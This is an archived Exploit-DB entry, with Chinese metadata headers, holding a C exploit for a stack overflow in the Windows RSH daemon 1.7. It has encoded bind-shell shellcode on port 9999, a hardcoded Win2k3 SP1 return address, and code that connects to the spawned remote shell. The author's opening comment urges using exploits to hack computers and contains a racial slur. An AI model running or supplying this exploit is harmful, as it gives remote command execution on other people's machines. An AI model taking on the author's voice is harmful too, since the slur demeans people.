标题: Microsoft Windows RSH daemon 1.7 - Remote Buffer Overflow EDB-ID: 4222 CVE: 2007-4006 2007-4005 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-24 漏洞利用脚本: /*
Attached and in-line is an exploit for a newly announced item on
the WabiSabiLabi auction block. I hope this completely devalues the
item so that the original finder dies of starvation.

DON'T SELL BUGS THROUGH WABISABILABLA

USE EXPLOITS TO HACK COMPUTERS INSTEAD

Exploit is for a stack overflow in http://rshd.sourceforge.net. It
took about 35 minutes to find the bug and exploit it on Win2k3
using the information provided to the public by WabiSabiLabi.

Expect exploits for the rest of the auction items in the next week.
Mayber sooner if Simon @ snosoft.com stops trying to cyber with me
LOLOLOLOLOLOL niggerdongs.

J
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

#define ESIZ 1 + 1 + 1 + 1 + 1 + 1028

int
main (int argc, char *argv[])
{
  unsigned char win32_bindshell[] = // 9999 tcp
    "AAAAAAAAAAAAA"
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x37\x5a\x6a\x66"
    "\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x76\x41\x32\x41\x41\x32"
    "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x79\x79\x4b\x4c\x32"
    "\x4a\x7a\x4b\x42\x6d\x78\x68\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f\x75"
    "\x30\x6e\x6b\x42\x4c\x45\x74\x71\x34\x6c\x4b\x41\x55\x57\x4c\x4e"
    "\x6b\x33\x4c\x53\x35\x51\x68\x55\x51\x68\x6f\x4c\x4b\x72\x6f\x56"
    "\x78\x6e\x6b\x61\x4f\x77\x50\x76\x61\x38\x6b\x52\x69\x4e\x6b\x36"
    "\x54\x4e\x6b\x67\x71\x4a\x4e\x76\x51\x4f\x30\x6d\x49\x4e\x4c\x4d"
    "\x54\x4b\x70\x41\x64\x43\x37\x4b\x71\x6b\x7a\x76\x6d\x54\x41\x4f"
    "\x32\x7a\x4b\x6a\x54\x45\x6b\x33\x64\x56\x44\x77\x58\x34\x35\x6b"
    "\x55\x4c\x4b\x61\x4f\x46\x44\x55\x51\x58\x6b\x31\x76\x6c\x4b\x46"
    "\x6c\x30\x4b\x4e\x6b\x61\x4f\x75\x4c\x64\x41\x38\x6b\x53\x33\x54"
    "\x6c\x4c\x4b\x6d\x59\x50\x6c\x64\x64\x55\x4c\x30\x61\x6b\x73\x74"
    "\x71\x4b\x6b\x51\x74\x4c\x4b\x51\x53\x70\x30\x4c\x4b\x77\x30\x36"
    "\x6c\x4c\x4b\x72\x50\x35\x4c\x4e\x4d\x6c\x4b\x73\x70\x57\x78\x31"
    "\x4e\x42\x48\x4e\x6e\x50\x4e\x76\x6e\x5a\x4c\x30\x50\x6b\x4f\x49"
    "\x46\x75\x36\x56\x33\x53\x56\x75\x38\x37\x43\x34\x72\x35\x38\x74"
    "\x37\x54\x33\x44\x72\x63\x6f\x71\x44\x4b\x4f\x7a\x70\x42\x48\x38"
    "\x4b\x38\x6d\x6b\x4c\x47\x4b\x30\x50\x4b\x4f\x4e\x36\x51\x4f\x4f"
    "\x79\x4d\x35\x42\x46\x4b\x31\x7a\x4d\x33\x38\x57\x72\x76\x35\x61"
    "\x7a\x46\x62\x4b\x4f\x6e\x30\x51\x78\x4b\x69\x67\x79\x59\x65\x6c"
    "\x6d\x41\x47\x4b\x4f\x6e\x36\x41\x43\x56\x33\x76\x33\x52\x73\x70"
    "\x53\x51\x53\x70\x53\x32\x63\x32\x73\x6b\x4f\x4e\x30\x41\x76\x62"
    "\x48\x36\x47\x54\x4f\x41\x76\x72\x73\x4f\x79\x49\x71\x4e\x75\x31"
    "\x78\x6e\x44\x67\x6a\x64\x30\x4f\x37\x70\x57\x69\x6f\x6e\x36\x70"
    "\x6a\x74\x50\x62\x71\x73\x65\x4b\x4f\x38\x50\x62\x48\x4c\x64\x4e"
    "\x4d\x64\x6e\x58\x69\x62\x77\x4b\x4f\x7a\x76\x50\x53\x51\x45\x39"
    "\x6f\x58\x50\x71\x78\x6b\x55\x53\x79\x6f\x76\x53\x79\x36\x37\x39"
    "\x6f\x79\x46\x72\x70\x61\x44\x33\x64\x62\x75\x59\x6f\x48\x50\x4a"
    "\x33\x51\x78\x6d\x37\x71\x69\x79\x56\x71\x69\x70\x57\x6b\x4f\x6e"
    "\x36\x51\x45\x69\x6f\x6e\x30\x45\x36\x63\x5a\x41\x74\x35\x36\x72"
    "\x48\x30\x63\x50\x6d\x6f\x79\x59\x75\x63\x5a\x52\x70\x43\x69\x37"
    "\x59\x58\x4c\x4f\x79\x79\x77\x52\x4a\x33\x74\x4d\x59\x39\x72\x55"
    "\x61\x4f\x30\x7a\x53\x6d\x7a\x79\x6e\x47\x32\x76\x4d\x69\x6e\x47"
    "\x32\x34\x6c\x6d\x43\x6c\x4d\x72\x5a\x54\x78\x4e\x4b\x4c\x6b\x6c"
    "\x6b\x75\x38\x52\x52\x4b\x4e\x4e\x53\x55\x46\x79\x6f\x71\x65\x41"
    "\x54\x59\x6f\x4e\x36\x43\x6b\x71\x47\x51\x42\x52\x71\x62\x71\x52"
    "\x71\x51\x7a\x33\x31\x56\x31\x46\x31\x51\x45\x50\x51\x59\x6f\x4e"
    "\x30\x50\x68\x4c\x6d\x6e\x39\x53\x35\x6a\x6e\x62\x73\x49\x6f\x5a"
    "\x76\x50\x6a\x59\x6f\x4b\x4f\x34\x77\x59\x6f\x5a\x70\x6c\x4b\x32"
    "\x77\x39\x6c\x6c\x43\x4b\x74\x61\x74\x6b\x4f\x6a\x76\x50\x52\x79"
    "\x6f\x6e\x30\x42\x48\x7a\x4f\x6a\x6e\x59\x70\x63\x50\x42\x73\x4b"
    "\x4f\x48\x56\x79\x6f\x4e\x30\x66";

  char *buf;
  int *ptr;
  int i, c, sck;
  struct sockaddr_in address;
  struct hostent *hp;

  if (argc < 2)
    {
      printf ("usage: %s address\n", argv[0]);
      exit (-1);
    }
// lsd-pl arrayd.c
  sck = socket (AF_INET, SOCK_STREAM, 0);
  bzero (&address, sizeof (address));
  address.sin_family = AF_INET;
  address.sin_port = htons (514);
  if (0 !=
      bind (sck, (struct sockaddr *) &address, sizeof (struct sockaddr_in)))
    {
      perror ("bind");
      exit (-344);
    }
  if ((address.sin_addr.s_addr = inet_addr (argv[1])) == -1)
    {
      if ((hp = gethostbyname (argv[1])) == NULL)
 {
   errno = EADDRNOTAVAIL;
   perror ("error");
   exit (-1);
 }
      memcpy (&address.sin_addr.s_addr, hp->h_addr, 4);
    }
  if (connect (sck, (struct sockaddr *) &address, sizeof (address)) < 0)
    {
      perror ("error");
      exit (-1);
    }
  buf = malloc (ESIZ);
  memcpy (buf, "\x00\x41\x00\x41\x00", 5);
  memset (buf + 5, 0x41, 1028);
  memcpy (buf + 5, win32_bindshell, sizeof (win32_bindshell) - 1);
  ptr = (int *) (buf + 5 + 1024);
  *ptr = 0x71ae36b7;  // call esi in wshtcpip in win2k3 SP1
  write (sck, buf, ESIZ);
  close (sck);
  sleep (1);

  sck = socket (AF_INET, SOCK_STREAM, 0);
  bzero (&address, sizeof (address));
  address.sin_family = AF_INET;
  address.sin_port = htons (9999);
  if ((address.sin_addr.s_addr = inet_addr (argv[1])) == -1)
    {
      if ((hp = gethostbyname (argv[1])) == NULL)
 {
   errno = EADDRNOTAVAIL;
   perror ("error");
   exit (-1);
 }
      memcpy (&address.sin_addr.s_addr, hp->h_addr, 4);
    }
  if (connect (sck, (struct sockaddr *) &address, sizeof (address)) < 0)
    {
      perror ("error");
      exit (-1);
    }
  do_shell (sck);

}

// cvs_linux_freebsd_HEAP.c
int
do_shell (int sockfd)
{
  while (1)
    {
      fd_set fds;
      FD_ZERO (&fds);
      FD_SET (0, &fds);
      FD_SET (sockfd, &fds);
      if (select (FD_SETSIZE, &fds, NULL, NULL, NULL))
 {
   int cnt;
   char buf[1024];
   if (FD_ISSET (0, &fds))
     {
       if ((cnt = read (0, buf, 1024)) < 1)
  {
    if (errno == EWOULDBLOCK || errno == EAGAIN)
      continue;
    else
      break;
  }
       write (sockfd, buf, cnt);
     }
   if (FD_ISSET (sockfd, &fds))
     {
       if ((cnt = read (sockfd, buf, 1024)) < 1)
  {
    if (errno == EWOULDBLOCK || errno == EAGAIN)
      continue;
    else
      break;
  }
       write (1, buf, cnt);
     }
 }
    }
}

// milw0rm.com [2007-07-24] URL: https://www.exploit-db.com/exploits/4222